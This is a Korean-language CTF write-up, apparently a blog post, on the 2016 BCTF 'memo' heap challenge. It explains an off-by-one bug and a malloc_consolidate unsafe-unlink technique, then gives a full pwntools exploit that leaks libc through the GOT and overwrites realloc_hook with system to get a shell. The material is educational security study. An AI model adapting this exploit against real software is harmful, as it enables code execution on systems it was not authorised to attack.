2016 bctf memo
realloc을 0x80 ~ 0x400 범위로 해줄 수 있다. -> largebin 딱걸치네.. ㅎㅎ
name 입력 부분에서 off by one 취약점 발생 -> next chunk size 수정 가능
흠.. 여기서 free가 없어서 생각에 잠겼는데 삽질좀 해보니 realloc함수 안에 _int_free가 들어 있어서 이걸로 bin control이 가능하더라.
large chunk를 할당할 때 fastbin에 chunk가 존재하면 fastbin의 chunk가 smallbin으로 이동하는데 이때 inuse bit가 존재하지 않으면 unlink가 일어난 후 consolidate를 해 smallbin으로 이동한다.
xxxxxxxxxx
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
glibc 2.26 malloc.c #3687 ~ #3692
위 코드가 내가 설명한 malloc_consolidate를 해주는 코드이다.
xxxxxxxxxx
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
glibc 2.26 malloc #4479 ~ #4484
위 코드가 malloc_consolidate에서 unlink를 해주는 코드이다! 굳굳!
나는 그래서 name에서 unsafe unlink를 일으킨 후 ptr로 libc leak, title로 realloc_hook을 system으로 덮어 쉘을 땃다.
xxxxxxxxxx
from pwn import *
e = ELF('./memo')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
def menu(sel):
ru('6.exit\n')
sl(sel)
def show():
menu('1')
def edit(content):
menu('2')
ru('page:\n')
sl(content)
def tear(size, content):
menu('3')
ru('):\n')
sl(size)
ru('page:\n')
sl(content)
def chg_name(name):
menu('4')
ru('name:\n')
sl(name)
def chg_title(title):
menu('5')
ru('title:\n')
sl(title)
pay = 'A'*0x38 + p64(0x41)
edit(pay)
tear('160', '')
tear('128', '')
payload = p64(0)
payload += p64(0x20)
payload += p64(0x602040-24)
payload += p64(0x602040-16)
payload += p64(0x20)
payload += p64(0x40)
chg_name(payload)
tear('1024', '')
pay = '\x00' * 0x8
pay += p64(0x602038)
pay += p64(e.got['setvbuf'])
pay += p64(0x602038)
chg_name(pay)
show()
ru('write:\n')
libc_base = u64(s.recv(6).ljust(8, '\x00')) - l.symbols['setvbuf']
print('libc_base!: {}'.format(hex(libc_base)))
r_hook = libc_base + 0x3c4b08
system = libc_base + l.symbols['system']
binsh = libc_base + 0x18cd57
pay = p64(binsh)
pay += p64(r_hook)
pay += '\x00' * 0x10
chg_title(pay)
chg_name(p64(system))
sl('3')
sl('256')
io()
realloc도 처음 써보고 malloc_consolidate도 처음 해봐서 배울게 많았던 문제이다.
'system > writeup' 카테고리의 다른 글
nullcon hackim 2019 babypwn (0) | 2019.02.03 |
---|---|
nullcon hackim 2019 hackim shop (2) | 2019.02.03 |
2014 hitcon sktof (0) | 2019.02.01 |
pwnable.kr crypto1 (0) | 2019.02.01 |
2017 rctf aircraft (0) | 2019.01.30 |